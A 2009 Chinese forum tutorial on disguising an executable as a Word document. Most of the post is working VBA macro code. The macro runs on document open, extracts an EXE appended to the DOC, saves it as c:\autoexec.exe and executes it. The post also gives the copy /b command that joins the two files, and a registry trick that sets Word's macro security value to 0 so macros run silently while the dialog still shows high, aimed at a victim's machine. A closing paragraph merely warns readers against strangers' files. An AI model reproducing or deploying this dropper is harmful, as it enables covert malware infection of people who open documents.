设为首页收藏本站

新微赢技术网

 找回密码
 注册
搜索
热搜: 回贴
查看: 10828|回复: 1
打印 上一主题 下一主题

EXE变DOC的方法

[复制链接]
跳转到指定楼层
1#
发表于 2009-11-23 00:17:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
EXE变DOC的方法
其实这种转换并不是文件格式上的变化只不过是把一个exe文件接在一个doc文件的末尾而已这个doc
文件当然就不是不同word的文档啦该文档中包含了宏语句能在
运行的时候把接在自己文件末尾的exe文件数据读取出来并运行就
造成一种假象好象文档打开时就运行了exe文件似的.(和文件捆绑器的原理很象啊!)

熟悉vb的朋友都知道word的宏是使用vba来编写的具体语法和vb一样但有些方法vb中没有如宏病毒
就是利用宏复制语句来达到感染的目的.和vb一样我们可以在编写宏的时候调用windows api!!下面我们来介绍一下我们编写这个宏需要用到的api函数:

1)createfile 用于打开文件该函数vb的声明如下:
declare function createfile lib "kernel32" alias "createfilea" (byval lp200455144226.htm as string
byval dwdesiredaccess as long byval dwsharemode as long byval lpsecurityattributes
as long byval dwcreationdistribution as long byval dwflagsandattributes as long byval htemplate as long) as long
2)closehandle 用于关闭被打开文件的句柄该函数vb的声明如下:
declare function closehandle lib "kernel32" (byval hobject as long) as long
3)readfile 用于从被打开文件中读取数据该函数vb的声明如下:
declare function readfile lib "kernel32" (byval hfile as long lpbuffer as byte byval dwnumberofbytestoread
as long lpnumberofbytesread as long byval lpoverlapped as long) as long
4)writefile 用于把读取出的数据写入文件该函数vb的声明如下:
declare function writefile lib "kernel32" (byval hfile as long lpbuffer as byte byval dwnumberofbytestowrite
as long lpnumberofbyteswritten as long byval lpoverlapped as long) as long
5)setfileponiter移动文件指针该函数vb的声明如下:
declare function setfilepointer lib "kernel32" (byval hfile as long byval ldistancetomove as long byval
lpdistancetomovehigh as long byval dwmovemethod as long) as long
6)下面是以上函数的参数声明
public const generic_read as long = &h80000000
public const generic_write as long = &h40000000
public const file_share_read as long = 1
public const file_share_write as long = 2
public const create_new as long = 1
public const create_always as long = 2
public const open_existing as long = 3
public const open_always as long = 4
public const truncate_existing as long = 5
public const invalid_handle_value as long = -1
public const file_attribute_normal as long = &h80
好了有了这些准备工作就可以开始了我们运行word2000打开visual basic编辑器新建一个模块把上面的函数
和参数声明拷进去!再回到“thisdocument.的代码视图,选择document.nbspopen的事件,输入一下代码:
private sub document.open()
dim buffer(65536) as byte
dim h h2 j i k as long
h = createfile(thisdocument.path & "/" & thisdocument.name generic_read file_share_read +
file_share_write 0 open_existing 0 0)
‘以share_read的方式打开自身的doc文件
h2 = createfile("c:\autoexec.exe" generic_write 0 0 create_always 0 0)
‘新建一个exe文件准备存放读取出来的数据.
if h = invalid_handle_value then
exit sub
end if
k = setfilepointer(h 32768 nil 0)
‘把文件指针移动到doc文件与exe文件交界处.
do
i = readfile(h buffer(0) 65536 j 0)
i = writefile(h2 buffer(0) j j 0)
loop until j < 65536
closehandle (h)
closehandle (h2)
shell "c:\autoexec.exe"
‘运行exe文件
end sub

这样宏就编写好了注意的地方就是上面setfilepointer函数的使用部分:32768是你编写完宏保存
好的doc文件的文件大小不一顶就是32768哦大家注意!

大家可能有疑问如何把exe文件接到doc文件后面呢?很简单把你要接的exe放到和
这个doc文件同一个目录下.运行doc命令:

copy /b xxxx.doc + xxxxx.exe newdoc.doc

这样就可以了~~~.当你打开这个newdoc.doc的时候宏就会把后面的exe文件读出来并保存
在c:\autoexec.exe中然后运行是不是很恐怖啊!不过这需要你的word2000安全度为最低的时候
才能实现关于这个安全度的问题我们又发现了微软的小bug大家看看注册表中这个键:

hkey_current_user\software\microsoft\office\9.0\word\security 中的

level值.当安全度是3(高)的时候word不会运行任何的宏2(中)的时候word会询问你是否运行宏1(低)的时候
word就会自动运行所有的宏!但很容易就被发现安全度被设为低了聪明的你一定想到如果这个值
变为0的时候会怎么样!!??对了!如果设为0的话word里面就会显示安全度为高但却能自动运行任何
的宏!!是不是很夸张??和注册表编辑器的后门一样这都是ms的后门吧?

如果要受害人的机器接受你的doc文件又能顺利运行最重要就是把word的安全度在注册表中的
值改为0怎么改??方法太多了吧单是ie的恶意代码能实现的都太多了另外如果网页上连接上是doc的
话ie也会自动下载该doc文件!危险的ms啊!!

这个算不算漏洞我不敢说但防范真的很难除非一天到晚监视着注册表或者不用word?太消极了
吧最重要的是小心防范陌生人的东西千万不要收!包括非exe文件我们现在发现了doc文件能
隐藏exe文件,也会有人发现其他文件能隐藏exe所以大家千万要小心.
您需要登录后才可以回帖 登录 | 注册

本版积分规则

申请友链|小黑屋|最新主题|手机版|新微赢技术网 ( 苏ICP备08020429号 )  

GMT+8, 2024-11-18 13:44 , Processed in 0.111485 second(s), 9 queries , Gzip On, Memcache On.

Powered by xuexi

© 2001-2013 HaiAn.Com.Cn Inc. 寰耽

快速回复 返回顶部 返回列表